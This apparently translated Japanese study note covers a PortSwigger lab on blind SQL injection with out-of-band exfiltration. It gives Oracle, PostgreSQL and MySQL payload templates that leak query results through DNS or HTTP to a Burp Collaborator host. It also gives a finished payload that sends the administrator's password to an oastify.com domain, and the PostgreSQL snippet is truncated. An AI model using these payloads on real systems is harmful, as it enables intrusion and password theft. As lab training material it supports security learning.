> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/sql-injection/sql-injection-data-exfiltration-via-oob-channel.md).

# OOB文字列によるSQLインジェクションデータのエクスフィルトレーション

PortSwigger Web Security Academy のラボ向けメモ。OOB文字列によるSQLインジェクションデータのエクスフィルトレーションに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### アウト・オブ・バンドデータ流出を伴うブラインドSQLインジェクション

このラボにはブラインドSQLインジェクションの脆弱性があります。アプリケーションは分析用にトラッキングCookieを使用し、送信されたCookieの値を含むSQLクエリを実行します。 / SQLクエリは非同期で実行され、アプリケーションの応答には影響しません。ただし、外部ドメインとのアウト・オブ・バンド通信を引き起こすことは可能です。 / データベースには、という名前の別のテーブルが含まれています `users`、 `username` および `パスワード` 列があります。ブラインドSQLの脆弱性を悪用して、次を特定する必要があります `administrator` ユーザーのパスワード。

* Oracle

{% code overflow="wrap" %}

```sql
SELECT EXTRACTVALUE(
  xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),
  '/l')
FROM dual
```

{% endcode %}

* PostgreSQL

```sql
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```

* MySQL

```sql
SELECT YOUR-QUERY-HERE INTO OUTFILE '////BURP-COLLABORATOR-SUBDOMAIN/a'
```

管理者パスワードを復元する（`SELECT password FROM users WHERE username = 'administrator'`)

{% code overflow="wrap" %}

```sql
' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://'||(select password from users where username='administrator')||'.qnhdkeii23lhv8cats06caltuk0bo8cx.oastify.com/"> %25remote%3b]>'),'/l') FROM dual-- -
```

{% endcode %}


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